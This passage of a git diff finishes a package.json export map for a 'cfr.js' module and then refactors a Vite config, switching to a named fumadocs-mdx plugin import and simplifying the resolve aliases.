"cfr.js", + "module": "cfr.js", + "types": "cfr.d.ts", + "exports": { + ".": { + "types": "./cfr.d.ts", + "import": "./cfr.js", + "default": "./cfr.js" + } + } +} diff --git a/web/vite.config.ts b/web/vite.config.ts index b7a1afac..b7bf6303 100644 --- a/web/vite.config.ts +++ b/web/vite.config.ts @@ -1,12 +1,9 @@ import { reactRouter } from "@react-router/dev/vite"; import tailwindcss from "@tailwindcss/vite"; -import mdx from "fumadocs-mdx/vite"; -import path from "node:path"; +import { fumadocsMdx } from "fumadocs-mdx/vite"; import { defineConfig, loadEnv } from "vite"; import devtoolsJson from "vite-plugin-devtools-json"; -import * as MdxConfig from "./source.config"; - export default defineConfig(({ command, mode }) => { const env = loadEnv(mode, process.cwd(), "VITE_APP_"); const isDev = command === "serve"; @@ -14,17 +11,10 @@ export default defineConfig(({ command, mode }) => { return { base: isDev || !contextPath ? "/" : `${contextPath}/`, - plugins: [mdx(MdxConfig), tailwindcss(), reactRouter(), devtoolsJson()], + plugins: [fumadocsMdx(), tailwindcss(), reactRouter(), devtoolsJson()], resolve: { tsconfigPaths: true, - alias: { - "@": path.resolve(__dirname, "./app"), - ...(!isDev - ? { - "react-dom/server": "react-dom/server.node", - } - : {}), - }, + alias: !isDev ? { "react-dom/server": "react-dom/server.node" } : {}, }, }; });